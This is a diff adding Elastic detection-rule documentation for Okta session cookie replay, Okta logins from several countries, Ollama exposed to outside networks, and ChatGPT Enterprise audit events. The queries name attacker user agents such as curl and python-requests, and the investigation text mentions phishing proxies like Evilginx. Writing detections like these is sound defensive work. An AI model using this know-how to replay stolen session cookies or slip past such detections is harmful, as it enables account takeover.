https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-okta-aitm-session-cookie-replay.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-okta-aitm-session-cookie-replay.asciidoc new file mode 100644 index 0000000000..f7f96c4c24 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-okta-aitm-session-cookie-replay.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-36-okta-aitm-session-cookie-replay]] +=== Okta AiTM Session Cookie Replay + +Detects potential Adversary-in-the-Middle (AiTM) session cookie replay attacks against Okta. This rule identifies when an Okta session is used from multiple IP addresses or with suspicious non-browser user agents after initial authentication. AiTM attacks capture session cookies via phishing proxies (e.g., Evilginx, Modlishka) and replay them from attacker infrastructure, bypassing MFA. The detection correlates session start events with subsequent policy evaluations or SSO attempts that occur from different IPs or programmatic user agents. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/okta-sso-accounts-targeted-in-vishing-based-data-theft-attacks/ +* https://reliaquest.com/blog/threat-spotlight-shinyhunters-data-breach-targets-salesforce-amid-scattered-spider-collaboration/ +* https://securitylabs.datadoghq.com/articles/investigating-an-aitm-phishing-campaign-m365-okta/ +* https://www.microsoft.com/en-us/security/blog/2022/07/12/from-cookie-theft-to-bec-attackers-use-aitm-phishing-sites-as-entry-point-to-further-financial-fraud/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta AiTM Session Cookie Replay* + + +Adversary-in-the-Middle (AiTM) attacks use reverse proxies to intercept authentication flows, capturing session cookies after victims complete MFA. Attackers then replay these cookies from their own infrastructure to hijack authenticated sessions. This rule detects the post-capture phase by identifying sessions used from anomalous contexts. + +This is an ES|QL aggregation-based rule. Pivot into raw events using the root session ID for full investigation context. + + +*Possible investigation steps* + + +- Review the collected IP addresses from the alert to identify all IPs that accessed this session. Investigate geographic locations and ASN ownership for each IP. +- Examine the user agent values for non-browser user agents like `python-requests`, `curl`, or `Headless` browsers that indicate programmatic access. +- Check Okta's risk assessment fields. HIGH risk with reasons like "Anomalous Device" or "Anomalous Location" strengthens AiTM suspicion. +- Correlate the session start timestamp with the first replay attempt timestamp to understand the attack timeline. +- Query raw Okta events for the session ID to see all activity within this session, including accessed applications. +- Review proxy detection fields to determine if attacker requests originated from VPN/proxy infrastructure. +- Check the user's recent password reset or MFA enrollment events, as these may indicate account compromise leading to the AiTM attack. +- Contact the user to verify if they received phishing emails with links to suspicious login pages around the session start time. + + +*False positive analysis* + + +- Legitimate VPN usage may cause IP address changes within a session. Check if both IPs belong to known corporate VPN ranges or the user's typical locations. +- Users traveling may show geographic IP changes. Correlate with travel schedules or expense reports if available. +- Browser extensions or security tools may modify user agents. Verify the user agent patterns match known tools in the environment. +- API integrations using user context may trigger non-browser UA detection. Exclude known service accounts. + + +*Response and remediation* + + +- Immediately terminate all active sessions for the affected user via Okta Admin Console. +- Reset the user's password and require MFA re-enrollment to invalidate any captured credentials. +- Review and revoke any OAuth tokens or API keys associated with the user. +- Check Okta System Log for applications accessed during the suspicious session and assess data exposure. +- If downstream applications were accessed, coordinate with application owners to review access logs and potential data exfiltration. +- Block the attacker IP addresses at the network perimeter and add to threat intelligence feeds. +- Implement Okta sign-on policies that challenge or block sessions with HIGH risk scores or proxy detection. +- Consider enabling Okta ThreatInsight to automatically block known malicious IPs. +- Review email security logs for phishing attempts targeting the user around the session start time. +- Escalate to incident response if sensitive applications (AWS, Salesforce, email) were accessed from the attacker IP. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* + +// Filter to relevant event types for AiTM detection +| WHERE + okta.event_type IN ("user.session.start", "policy.evaluate_sign_on", "user.authentication.sso") AND + okta.authentication_context.root_session_id IS NOT NULL AND + okta.actor.alternate_id != "system@okta.com" + +// Create event type flags +| EVAL Esql.is_session_start = okta.event_type == "user.session.start" +| EVAL Esql.is_policy_eval = okta.event_type == "policy.evaluate_sign_on" +| EVAL Esql.is_sso = okta.event_type == "user.authentication.sso" +| EVAL Esql.is_replay_event = Esql.is_policy_eval OR Esql.is_sso + +// Flag suspicious non-browser user agents +| EVAL Esql.is_suspicious_ua = + user_agent.original LIKE "python-requests*" OR + user_agent.original LIKE "curl/*" OR + user_agent.original LIKE "httpx*" OR + user_agent.original LIKE "aiohttp*" OR + user_agent.original LIKE "Go-http-client*" OR + user_agent.original LIKE "*Headless*" OR + user_agent.original LIKE "Java/*" OR + user_agent.original LIKE "okhttp*" + +// Aggregate by session +| STATS + Esql.session_start_count = SUM(CASE(Esql.is_session_start, 1, 0)), + Esql.replay_event_count = SUM(CASE(Esql.is_replay_event, 1, 0)), + Esql.session_start_time = MIN(CASE(Esql.is_session_start, @timestamp, null)), + Esql.first_replay_time = MIN(CASE(Esql.is_replay_event, @timestamp, null)), + Esql.last_replay_time = MAX(CASE(Esql.is_replay_event, @timestamp, null)), + Esql.session_start_ip = MAX(CASE(Esql.is_session_start, okta.client.ip, null)), + Esql.session_start_ua = MAX(CASE(Esql.is_session_start, user_agent.original, null)), + Esql.suspicious_ua_count = SUM(CASE(Esql.is_suspicious_ua, 1, 0)), + Esql.okta_client_ip_count_distinct = COUNT_DISTINCT(okta.client.ip), + Esql.user_agent_count_distinct = COUNT_DISTINCT(user_agent.original), + Esql.okta_client_ip_values = VALUES(okta.client.ip), + Esql.user_agent_values = VALUES(user_agent.original), + Esql.okta_event_type_values = VALUES(okta.event_type), + Esql.okta_outcome_result_values = VALUES(okta.outcome.result), + Esql.source_geo_country_name_values = VALUES(source.geo.country_name), + Esql.source_geo_city_name_values = VALUES(source.geo.city_name), + Esql.okta_debug_context_debug_data_risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.okta_debug_context_debug_data_risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY okta.authentication_context.root_session_id, okta.actor.alternate_id + +// Detection conditions +| WHERE + Esql.session_start_count >= 1 + AND Esql.replay_event_count >= 1 + AND Esql.first_replay_time > Esql.session_start_time + AND ( + ( + Esql.okta_client_ip_count_distinct > 1 OR Esql.user_agent_count_distinct > 1 + ) AND Esql.suspicious_ua_count > 0 + ) + +| SORT Esql.session_start_time DESC +| KEEP Esql.*, okta.authentication_context.root_session_id, okta.actor.alternate_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-okta-user-sessions-started-from-different-geolocations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-okta-user-sessions-started-from-different-geolocations.asciidoc new file mode 100644 index 0000000000..27b0f114a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-okta-user-sessions-started-from-different-geolocations.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-36-okta-user-sessions-started-from-different-geolocations]] +=== Okta User Sessions Started from Different Geolocations + +Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://web.archive.org/web/20230726145135/https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: Okta +* Domain: Identity + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta User Sessions Started from Different Geolocations* + + +This rule detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. + + +*Possible investigation steps:* + +- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.id` values can be used to pivot into the raw authentication events related to this alert. +- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field. + - Historical analysis should indicate if this device token hash is commonly associated with the user. +- Review the `okta.event_type` field to determine the type of authentication event that occurred. + - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons. + - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying. + - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API. +- Review the past activities of the actor(s) involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + - This may help determine the authentication and authorization actions that occurred between the user, Okta and application. + + +*False positive analysis:* + +- It is very rare that a legitimate user would have multiple sessions started from different geo-located countries in a short time frame. + + +*Response and remediation:* + +- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the users. +- If any of the users are not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user. + - If so, confirm with the user this was a legitimate request. + - If so and this was not a legitimate request, consider deactivating the user's account temporarily. + - Reset passwords and reset MFA for the user. +- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule. + - This will prevent future occurrences of this event for this device from triggering the rule. + - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule. + - This should be done with caution as it may prevent legitimate alerts from being generated. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-okta* +| where + data_stream.dataset == "okta.system" and + (event.action like "user.authentication.*" or event.action == "user.session.start") and + okta.security_context.is_proxy != true and + okta.actor.id != "unknown" and + event.outcome == "success" +| keep + event.action, + okta.security_context.is_proxy, + okta.actor.id, + okta.actor.alternate_id, + event.outcome, + client.geo.country_name +| stats + Esql.client_geo_country_name_count_distinct = count_distinct(client.geo.country_name) + by okta.actor.id, okta.actor.alternate_id +| where + Esql.client_geo_country_name_count_distinct >= 2 +| sort + Esql.client_geo_country_name_count_distinct desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-ollama-api-accessed-from-external-network.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-ollama-api-accessed-from-external-network.asciidoc new file mode 100644 index 0000000000..839b4f8bd8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-ollama-api-accessed-from-external-network.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-36-ollama-api-accessed-from-external-network]] +=== Ollama API Accessed from External Network + +Detects when the Ollama LLM server accepts connections from external IP addresses. Ollama lacks built-in authentication, so exposed instances allow unauthenticated model theft, prompt injection, and resource hijacking. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.greynoise.io/blog/threat-actors-actively-targeting-llms +* https://atlas.mitre.org/techniques/AML.T0040 +* https://atlas.mitre.org/techniques/AML.T0044 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0040 +* Mitre Atlas: AML.T0044 +* Mitre Atlas: AML.T0049 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Ollama API Accessed from External Network* + + +This rule detects when Ollama accepts connections from external IP addresses. Ollama binds to localhost:11434 by default but can be exposed via OLLAMA_HOST. Since Ollama lacks authentication, exposed instances allow unauthenticated model theft, prompt injection, and resource hijacking. + + +*Possible investigation steps* + + +- Check the OLLAMA_HOST environment variable to determine if external exposure was intentional. +- Review the source IP address to identify if it's a known attacker, scanner, or miscategorized internal system. +- Examine Ollama logs for suspicious API calls to /api/pull, /api/push, or /api/generate. +- Check ~/.ollama/models/ for unexpected model downloads that may indicate model poisoning. +- Review network traffic for data exfiltration following the connection. +- Look for child processes spawned by Ollama that may indicate exploitation. + + +*False positive analysis* + + +- Internal networks not properly classified in CIDR ranges may trigger false positives. +- Load balancers or reverse proxies accessing Ollama from external-facing IPs within trusted infrastructure. +- Legitimate remote access through VPN or authenticated proxy (add proxy IPs to exclusions). + + +*Response and remediation* + + +- Restrict access immediately by setting OLLAMA_HOST=127.0.0.1:11434 or applying firewall rules. +- If exploitation is suspected, stop Ollama and audit ~/.ollama/models/ for unauthorized models. +- Review Ollama and system logs for signs of compromise. +- Consider running Ollama in a container with network isolation. + + +==== Rule query + + +[source, js] +---------------------------------- +network where event.action == "connection_accepted" and + process.name in ("ollama", "ollama.exe") and + destination.port == 11434 and + source.ip != null and source.ip != "0.0.0.0" and + not cidrmatch(source.ip, + "10.0.0.0/8", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.168.0.0/16", + "100.64.0.0/10", + "::1", + "fe80::/10", + "fc00::/7", + "ff00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-account-owner-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-account-owner-role-assigned.asciidoc new file mode 100644 index 0000000000..ebef85b963 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-account-owner-role-assigned.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-account-owner-role-assigned]] +=== OpenAI ChatGPT Enterprise Account Owner Role Assigned + +Detects ChatGPT Enterprise audit events where a user role is updated to account-owner. Account owners control workspace membership, connectors, usage limits, and other security-sensitive settings. An adversary who promotes a compromised account to owner gains durable control-plane access. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Privilege Escalation +* Mitre Atlas: AML.T0012 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Account Owner Role Assigned* + + +A user role was updated to `account-owner`. Account owners control workspace membership, connectors, usage limits, and other security-sensitive settings. + +Escalate when the promotion lacks change management, the actor is unexpected, or privileged activity follows. Close as a false positive for planned ownership transfers with an approved request. + + +*Possible investigation steps* + + +- Identify the actor (`user.id` / `user.email`) and the target user in `openai_chatgpt_enterprise.audit_log.action_data`. +- Confirm whether a ticket or change request authorized the promotion. +- Review invites, usage-limit changes, plugin or feature policy updates, and log exports after the promotion. +- Check authentication anomalies for the actor or target around the same time. + + +*False positive analysis* + + +- IT administrators legitimately promote users to account-owner during staffing or ownership changes when the request is approved. + + +*Response and remediation* + + +- Downgrade unauthorized owners, revoke sessions, and audit other IAM changes by the same actor. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.audit_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.audit_log" and + event.action == "user_role_updated" and + ( + openai_chatgpt_enterprise.audit_log.action_data.new_role == "account-owner" or + openai_chatgpt_enterprise.audit_log.action_data.role == "account-owner" + ) +| keep + _id, _version, _index, @timestamp, event.action, event.outcome, user.id, user.email, source.ip, + source.geo.country_iso_code, openai_chatgpt_enterprise.audit_log.action_data.role, + openai_chatgpt_enterprise.audit_log.action_data.new_role, + openai_chatgpt_enterprise.audit_log.action_data.previous_role, + openai_chatgpt_enterprise.audit_log.action_data.user_id, + openai_chatgpt_enterprise.audit_log.action_privilege, + openai_chatgpt_enterprise.audit_log.actor.type, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-app-authentication-linked.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-app-authentication-linked.asciidoc new file mode 100644 index 0000000000..003cff30d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-app-authentication-linked.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-app-authentication-linked]] +=== OpenAI ChatGPT Enterprise App Authentication Linked + +Detects ChatGPT Enterprise app authentication events that link a third-party app to a user or workspace. Linking apps establishes durable OAuth-style access that adversaries can use to persist connectors after initial compromise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Persistence +* Mitre Atlas: AML.T0081 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise App Authentication Linked* + + +A third-party app was linked to a user or workspace. Linking establishes durable OAuth-style access that can persist after the initial session ends. + +Escalate when the app is unapproved, the actor recently had suspicious authentication activity, or multiple unusual apps are linked in a short window. Close as a false positive for expected onboarding of approved apps. + + +*Possible investigation steps* + + +- Identify the user and the linked app details on the alert. +- Confirm the app is in the approved workspace inventory. +- Correlate with suspicious user agents, impossible travel, or privileged audit activity nearby. +- Review whether the linked app can access sensitive data or connectors. + + +*False positive analysis* + + +- Users legitimately connect approved apps during onboarding or project setup. + + +*Response and remediation* + + +- Unlink unauthorized apps and rotate related OAuth credentials. +- Review other persistence-oriented changes by the same actor. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect compliance logs into Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.app_auth_log-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.app_auth_log" and + event.action == "link" and + not openai_chatgpt_enterprise.app_auth_log.app_id in ( + "connector_5f3c8c41a1e54ad7a76272c89e2554fa", + "connector_2128aebfecb84f64a069897515042a44", + "connector_947e0d954944416db111db556030eea6", + "asdk_app_69a1d78e929881919bba0dbda1f6436d" + ) +| keep + _id, _version, _index, @timestamp, event.action, user.id, user.email, + openai_chatgpt_enterprise.app_auth_log.app_id, + openai_chatgpt_enterprise.app_auth_log.link_id, + openai_chatgpt_enterprise.app_auth_log.actor.type, + openai_chatgpt_enterprise.app_auth_log.principal.type, + data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-assistant-advises-credential-rotation-after-suspected-exposure.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-assistant-advises-credential-rotation-after-suspected-exposure.asciidoc new file mode 100644 index 0000000000..b0d185ecd2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-assistant-advises-credential-rotation-after-suspected-exposure.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-36-openai-chatgpt-enterprise-assistant-advises-credential-rotation-after-suspected-exposure]] +=== OpenAI ChatGPT Enterprise Assistant Advises Credential Rotation After Suspected Exposure + +Detects ChatGPT Enterprise assistant messages that recognize likely exposed secrets in chat and advise rotating, revoking, regenerating, invalidating, or deactivating credentials (API keys, access keys, passwords, tokens, and similar). Users or adversaries who paste live secrets into conversations create credential-exposure risk; the assistant's rotation advice is a strong signal that a secret was present in the prior turns. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise +* https://platform.openai.com/docs/compliance + +*Tags*: + +* Domain: GenAI +* Platform: OpenAI +* Data Source: OpenAI ChatGPT Enterprise +* Service: OpenAI ChatGPT Enterprise +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Credential Access +* Mitre Atlas: AML.T0055 +* Mitre Atlas: AML.T0057 + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating OpenAI ChatGPT Enterprise Assistant Advises Credential Rotation After Suspected Exposure* + + +An assistant reply indicated a likely secret in the conversation and advised rotating or revoking it. This often +follows a user pasting an API key, cloud access key, password, or token into chat. + +Escalate when the prior user message contains a live secret, the conversation is shared, or Codex or connector activity +follows. Close as a false positive when the assistant is only helping draft generic security guidance with no in-chat +exposure. + + +*Possible investigation steps* + + +- Read `message` and the surrounding user turns for + `openai_chatgpt_enterprise.conversation_message.conversation.id`. +- Determine whether a live credential was pasted; if so, identify the credential type and owning system. +- Correlate with other credential-in-conversation alerts and any subsequent shares or downloads. +- Check whether the same user repeated exposures across conversations. + + +*False positive analysis* + + +- Drafting support replies or security runbooks that mention rotate or revoke guidance for API keys. +- Hypothetical examples that do not include a real secret. + + +*Response and remediation* + + +- If a live credential was exposed, rotate or revoke it, remove residual copies from shared conversations where + possible, and review use of that credential after the message time. +- Limit access to alerts and compliance logs that retain message text. + + +==== Setup + + + +*Setup* + + +This rule requires the OpenAI ChatGPT Enterprise integration to collect conversation message compliance logs into +Elasticsearch. + +https://www.elastic.co/docs/reference/integrations/openai_chatgpt_enterprise + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-openai_chatgpt_enterprise.conversation_message-* metadata _id, _version, _index +| where + data_stream.dataset == "openai_chatgpt_enterprise.conversation_message" and + openai_chatgpt_enterprise.conversation_message.message.author.type == "assistant" and + message is not null +| eval Esql.message_text = to_lower(message) +| where + ( + Esql.message_text like "*rotate*" or + Esql.message_text like "*revoke*" or + Esql.message_text like "*regenerate*" or + Esql.message_text like "*invalidate*" or + Esql.message_text like "*deactivate*" + ) and + ( + Esql.message_text like "*api key*" or + Esql.message_text like "*access key*" or + Esql.message_text like "*secret access key*" or + Esql.message_text like "*aws secret*" or + Esql.message_text like "*credential*" or + Esql.message_text like "*password*" or + Esql.message_text like "*secret key*" or + Esql.message_text like "*auth token*" + ) and + ( + Esql.message_text like "*looks like*" or + Esql.message_text like "*appears to be*" or + Esql.message_text like "*you shared*" or + Esql.message_text like "*you pasted*" or + Esql.message_text like "*you posted*" or + Esql.message_text like "*you provided*" or + Esql.message_text like "*exposed*" or + Esql.message_text like "*leaked*" or + Esql.message_text like "*compromised*" or + Esql.message_text like "*for security*" or + Esql.message_text like "*treat them as exposed*" or + Esql.message_text like "*treat it as exposed*" + ) +| keep + _id, + _version, + _index, + @timestamp, + message, + user.id, + user.email, + organization.id, + openai_chatgpt_enterprise.conversation_message.conversation.id, + openai_chatgpt_enterprise.conversation_message.conversation.title, + openai_chatgpt_enterprise.conversation_message.message.author.type, + openai_chatgpt_enterprise.conversation_message.message.id, + data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-openai-chatgpt-enterprise-authentication-from-a-suspicious-user-agent.asciidoc 